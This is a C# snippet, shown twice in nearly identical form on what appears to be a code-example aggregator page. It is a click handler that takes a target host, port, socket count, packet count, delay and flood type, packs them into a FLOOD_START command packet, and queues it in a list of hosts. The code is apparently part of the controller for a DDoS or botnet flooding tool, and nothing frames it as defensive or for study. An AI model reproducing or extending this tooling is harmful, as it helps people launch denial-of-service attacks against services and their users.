private void addToolStripMenuItem_Click(object sender, EventArgs e)
        {
            MultiFloodData data = new MultiFloodData(txtHost.Text, int.Parse(txtPort.Text), int.Parse(txtSockets.Text), int.Parse(txtPackets.Text), double.Parse(txtDelay.Text), cmdType.SelectedItem.ToString());
            ListViewItem   i    = new ListViewItem();

            PacketWriter w = new PacketWriter();

            w.Write((int)PacketHeader.FLOOD_START);
            w.Write(cmdType.SelectedIndex);
            w.Write(txtHost.Text);
            w.Write(int.Parse(txtPort.Text));
            w.Write(int.Parse(txtSockets.Text));
            w.Write(int.Parse(txtPackets.Text));
            w.Write(decimal.Parse(txtDelay.Text));
            i.Text = data.IP;
            i.SubItems.Add(data.Port.ToString());
            i.SubItems.Add(data.Sockets.ToString());
            i.SubItems.Add(data.Packets.ToString());
            i.SubItems.Add(data.Delay.ToString());
            i.SubItems.Add(data.FloodType);
            i.Tag = w.ToArray(true);

            lstHosts.Items.Add(i);
        }
Beispiel #2
0
        private void addToolStripMenuItem_Click(object sender, EventArgs e)
        {
            MultiFloodData data = new MultiFloodData(txtHost.Text, int.Parse(txtPort.Text), int.Parse(txtSockets.Text), int.Parse(txtPackets.Text), double.Parse(txtDelay.Text), cmdType.SelectedItem.ToString());
            ListViewItem i = new ListViewItem();

            PacketWriter w = new PacketWriter();
            w.Write((int)PacketHeader.FLOOD_START);
            w.Write(cmdType.SelectedIndex);
            w.Write(txtHost.Text);
            w.Write(int.Parse(txtPort.Text));
            w.Write(int.Parse(txtSockets.Text));
            w.Write(int.Parse(txtPackets.Text));
            w.Write(decimal.Parse(txtDelay.Text));
            i.Text = data.IP;
            i.SubItems.Add(data.Port.ToString());
            i.SubItems.Add(data.Sockets.ToString());
            i.SubItems.Add(data.Packets.ToString());
            i.SubItems.Add(data.Delay.ToString());
            i.SubItems.Add(data.FloodType);
            i.Tag = w.ToArray(true);

            lstHosts.Items.Add(i);
        }